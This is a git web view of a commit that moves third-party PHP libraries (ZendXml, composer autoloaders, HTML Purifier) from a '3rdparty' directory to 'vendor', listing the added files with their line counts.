summaryrefslogtreecommitdiffstats
path: root/vendor
diff options
context:
space:
mode:
authorBernhard Posselt <dev@bernhard-posselt.com>2014-11-07 12:32:05 +0100
committerBernhard Posselt <dev@bernhard-posselt.com>2014-11-07 12:32:05 +0100
commit7f81afd7efbeb931d16ce1f3a1ed53a54226d553 (patch)
tree180720cd96aa66ae8964f13734e090d4b82a178e /vendor
parenta6d6288e65aa416aca7535e81d9e8837c2cfb103 (diff)
move 3rdparty directory to vendor to be more consistent with composer standard and because we also use js/vendor for third party libs
Diffstat (limited to 'vendor')
-rw-r--r--vendor/.gitignore10
-rw-r--r--vendor/ZendXml/composer.json35
-rw-r--r--vendor/ZendXml/library/ZendXml/Exception/ExceptionInterface.php14
-rw-r--r--vendor/ZendXml/library/ZendXml/Exception/InvalidArgumentException.php19
-rw-r--r--vendor/ZendXml/library/ZendXml/Exception/RuntimeException.php19
-rw-r--r--vendor/ZendXml/library/ZendXml/Security.php143
-rw-r--r--vendor/ZendXml/vendor/autoload.php7
-rw-r--r--vendor/ZendXml/vendor/composer/ClassLoader.php383
-rw-r--r--vendor/ZendXml/vendor/composer/autoload_classmap.php9
-rw-r--r--vendor/ZendXml/vendor/composer/autoload_namespaces.php10
-rw-r--r--vendor/ZendXml/vendor/composer/autoload_psr4.php9
-rw-r--r--vendor/ZendXml/vendor/composer/autoload_real.php50
-rw-r--r--vendor/autoload.php7
-rw-r--r--vendor/composer/ClassLoader.php383
-rw-r--r--vendor/composer/autoload_classmap.php9
-rw-r--r--vendor/composer/autoload_files.php10
-rw-r--r--vendor/composer/autoload_namespaces.php12
-rw-r--r--vendor/composer/autoload_psr4.php9
-rw-r--r--vendor/composer/autoload_real.php59
-rw-r--r--vendor/composer/include_paths.php10
-rw-r--r--vendor/composer/installed.json154
-rw-r--r--vendor/ezyang/htmlpurifier/.gitattributes1
-rw-r--r--vendor/ezyang/htmlpurifier/.gitignore28
-rw-r--r--vendor/ezyang/htmlpurifier/CREDITS9
-rw-r--r--vendor/ezyang/htmlpurifier/Doxyfile1317
-rw-r--r--vendor/ezyang/htmlpurifier/FOCUS13
-rw-r--r--vendor/ezyang/htmlpurifier/INSTALL374
-rw-r--r--vendor/ezyang/htmlpurifier/INSTALL.fr.utf869
-rw-r--r--vendor/ezyang/htmlpurifier/LICENSE504
-rw-r--r--vendor/ezyang/htmlpurifier/NEWS1078
-rw-r--r--vendor/ezyang/htmlpurifier/README24
-rw-r--r--vendor/ezyang/htmlpurifier/TODO150
-rw-r--r--vendor/ezyang/htmlpurifier/VERSION1
-rw-r--r--vendor/ezyang/htmlpurifier/WHATSNEW5
-rw-r--r--vendor/ezyang/htmlpurifier/WYSIWYG20
-rw-r--r--vendor/ezyang/htmlpurifier/art/1000passes.pngbin0 -> 3522 bytes
-rw-r--r--vendor/ezyang/htmlpurifier/art/100cases.pngbin0 -> 2732 bytes
-rw-r--r--vendor/ezyang/htmlpurifier/art/favicon.icobin0 -> 9326 bytes
-rw-r--r--vendor/ezyang/htmlpurifier/art/icon-16x16.pngbin0 -> 382 bytes
-rw-r--r--vendor/ezyang/htmlpurifier/art/icon-16x16.svg101
-rw-r--r--vendor/ezyang/htmlpurifier/art/icon-32x32.pngbin0 -> 615 bytes
-rw-r--r--vendor/ezyang/htmlpurifier/art/icon-32x32.svg101
-rw-r--r--vendor/ezyang/htmlpurifier/art/icon-64x64.pngbin0 -> 1036 bytes
-rw-r--r--vendor/ezyang/htmlpurifier/art/logo-large.pngbin0 -> 10054 bytes
-rw-r--r--vendor/ezyang/htmlpurifier/art/logo.pngbin0 -> 2658 bytes
-rw-r--r--vendor/ezyang/htmlpurifier/art/logo.svg119
-rw-r--r--vendor/ezyang/htmlpurifier/art/powered.pngbin0 -> 297 bytes
-rw-r--r--vendor/ezyang/htmlpurifier/benchmarks/.htaccess1
-rw-r--r--vendor/ezyang/htmlpurifier/benchmarks/ConfigSchema.php16
-rw-r--r--vendor/ezyang/htmlpurifier/benchmarks/Lexer.php161
-rw-r--r--vendor/ezyang/htmlpurifier/benchmarks/Trace.php21
-rw-r--r--vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/1.html56
-rw-r--r--vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/2.html20
-rw-r--r--vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/3.html131
-rw-r--r--vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/4.html543
-rw-r--r--vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt7
-rw-r--r--vendor/ezyang/htmlpurifier/composer.json22
-rw-r--r--vendor/ezyang/htmlpurifier/configdoc/generate.php64
-rw-r--r--vendor/ezyang/htmlpurifier/configdoc/styles/plain.css44
-rw-r--r--vendor/ezyang/htmlpurifier/configdoc/styles/plain.xsl253
-rw-r--r--vendor/ezyang/htmlpurifier/configdoc/types.xml69
-rw-r--r--vendor/ezyang/htmlpurifier/configdoc/usage.xml547
-rw-r--r--vendor/ezyang/htmlpurifier/docs/dev-advanced-api.html26
-rw-r--r--vendor/ezyang/htmlpurifier/docs/dev-code-quality.txt29
-rw-r--r--vendor/ezyang/htmlpurifier/docs/dev-config-bcbreaks.txt79
-rw-r--r--vendor/ezyang/htmlpurifier/docs/dev-config-naming.txt164
-rw-r--r--vendor/ezyang/htmlpurifier/docs/dev-config-schema.html412
-rw-r--r--vendor/ezyang/htmlpurifier/docs/dev-flush.html68
-rw-r--r--vendor/ezyang/htmlpurifier/docs/dev-includes.txt281
-rw-r--r--vendor/ezyang/htmlpurifier/docs/dev-naming.html83
-rw-r--r--vendor/ezyang/htmlpurifier/docs/dev-optimization.html33
-rw-r--r--vendor/ezyang/htmlpurifier/docs/dev-progress.html309
-rw-r--r--vendor/ezyang/htmlpurifier/docs/dtd/xhtml1-transitional.dtd1201
-rw-r--r--vendor/ezyang/htmlpurifier/docs/enduser-customize.html850
-rw-r--r--vendor/ezyang/htmlpurifier/docs/enduser-id.html148
-rw-r--r--vendor/ezyang/htmlpurifier/docs/enduser-overview.txt59
-rw-r--r--vendor/ezyang/htmlpurifier/docs/enduser-security.txt18
-rw-r--r--vendor/ezyang/htmlpurifier/docs/enduser-slow.html120
-rw-r--r--vendor/ezyang/htmlpurifier/docs/enduser-tidy.html231
-rw-r--r--vendor/ezyang/htmlpurifier/docs/enduser-uri-filter.html204
-rw-r--r--vendor/ezyang/htmlpurifier/docs/enduser-utf8.html1060
-rw-r--r--vendor/ezyang/htmlpurifier/docs/enduser-youtube.html153
-rw-r--r--vendor/ezyang/htmlpurifier/docs/entities/xhtml-lat1.ent196
-rw-r--r--vendor/ezyang/htmlpurifier/docs/entities/xhtml-special.ent80
-rw-r--r--vendor/ezyang/htmlpurifier/docs/entities/xhtml-symbol.ent237
-rw-r--r--vendor/ezyang/htmlpurifier/docs/examples/basic.php23
-rw-r--r--vendor/ezyang/htmlpurifier/docs/fixquotes.htc9
-rw-r--r--vendor/ezyang/htmlpurifier/docs/index.html188
-rw-r--r--vendor/ezyang/htmlpurifier/docs/proposal-colors.html49
-rw-r--r--vendor/ezyang/htmlpurifier/docs/proposal-config.txt23
-rw-r--r--vendor/ezyang/htmlpurifier/docs/proposal-css-extraction.txt34
-rw-r--r--vendor/ezyang/htmlpurifier/docs/proposal-errors.txt211
-rw-r--r--vendor/ezyang/htmlpurifier/docs/proposal-filter-levels.txt137
-rw-r--r--vendor/ezyang/htmlpurifier/docs/proposal-language.txt64
-rw-r--r--vendor/ezyang/htmlpurifier/docs/proposal-new-directives.txt44
-rw-r--r--vendor/ezyang/htmlpurifier/docs/proposal-plists.txt218
-rw-r--r--vendor/ezyang/htmlpurifier/docs/ref-content-models.txt50
-rw-r--r--vendor/ezyang/htmlpurifier/docs/ref-css-length.txt30
-rw-r--r--vendor/ezyang/htmlpurifier/docs/ref-devnetwork.html47
-rw-r--r--vendor/ezyang/htmlpurifier/docs/ref-html-modularization.txt166
-rw-r--r--vendor/ezyang/htmlpurifier/docs/ref-proprietary-tags.txt26
-rw-r--r--vendor/ezyang/htmlpurifier/docs/ref-whatwg.txt26
-rw-r--r--vendor/ezyang/htmlpurifier/docs/specimens/LICENSE10
-rw-r--r--vendor/ezyang/htmlpurifier/docs/specimens/html-align-to-css.html165
-rw-r--r--vendor/ezyang/htmlpurifier/docs/specimens/img.pngbin0 -> 2138 bytes
-rw-r--r--vendor/ezyang/htmlpurifier/docs/specimens/jochem-blok-word.html129
-rw-r--r--vendor/ezyang/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html74
-rw-r--r--vendor/ezyang/htmlpurifier/docs/style.css76
-rw-r--r--vendor/ezyang/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php91
-rw-r--r--vendor/ezyang/htmlpurifier/extras/FSTools.php164
-rw-r--r--vendor/ezyang/htmlpurifier/extras/FSTools/File.php141
-rw-r--r--vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.auto.php11
-rw-r--r--vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.autoload.php26
-rw-r--r--vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.php31
-rw-r--r--vendor/ezyang/htmlpurifier/extras/README32
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier.autoload.php27
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier.composer.php4
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier.func.php25
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier.includes.php229
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier.kses.php30
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier.path.php11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier.php292
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier.safe-includes.php223
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Arborize.php71
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrCollections.php143
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef.php138
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS.php106
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php34
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Background.php111
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php157
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Border.php56
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Color.php105
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Composite.php48
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php44
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Filter.php77
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Font.php176
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/FontFamily.php219
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Ident.php32
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php56
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Length.php77
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ListStyle.php112
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Multiple.php71
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Number.php84
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Percentage.php54
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php46
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/URI.php74
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Clone.php44
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Enum.php73
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Bool.php51
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Class.php48
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Color.php51
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php38
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/ID.php105
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Length.php56
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php72
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/MultiLength.php60
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Nmtokens.php70
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Pixels.php76
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Integer.php91
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Lang.php86
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Switch.php53
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Text.php21
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI.php111
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email.php20
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php29
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Host.php128
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv4.php45
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv6.php89
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform.php60
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Background.php28
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BdoDir.php27
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BgColor.php28
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BoolToCSS.php47
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Border.php26
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/EnumToCSS.php68
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ImgRequired.php48
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ImgSpace.php61
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Input.php56
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Lang.php31
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Length.php45
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Name.php33
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/NameSync.php41
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Nofollow.php52
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeEmbed.php25
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeObject.php28
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeParam.php79
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ScriptRequired.php23
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/TargetBlank.php45
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Textarea.php27
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTypes.php96
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrValidator.php178
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Bootstrap.php124
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/CSSDefinition.php474
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef.php52
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Chameleon.php67
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Custom.php102
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Empty.php38
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/List.php86
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Optional.php45
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Required.php118
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/StrictBlockquote.php110
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Table.php224
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/Config.php911
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema.php176
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php48
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/Xml.php144
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Exception.php11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange.php47
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Directive.php89
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Id.php58
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php226
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Validator.php248
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/ValidatorAtom.php130
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema.serbin0 -> 15000 bytes
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt8
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt12
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt9
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt9
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt19
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt9
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt8
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txt10
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txt16
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ForbiddenClasses.txt8
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txt5
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txt9
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt12
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt14
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt31
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt12
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt12
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt12
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt12
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt15
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt46
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt8
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt12
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt18
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt13
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt16
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt10
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt9
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt14
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt13
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt18
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txt16
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt12
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt29
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt14
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt17
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DisableExcludes.txt14
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EnableIDNA.txt9
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt15
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt12
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt7
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt13
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt19
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Language.txt10
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt34
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt16
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt12
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt12
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt14
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt29
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt16
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt74
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt16
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt25
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt19
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedComments.txt10
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedCommentsRegexp.txt15
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt23
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt20
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt18
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt23
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt9
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt33
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt16
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt11
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt21
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt20
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt14
-rw-r--r--vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt7
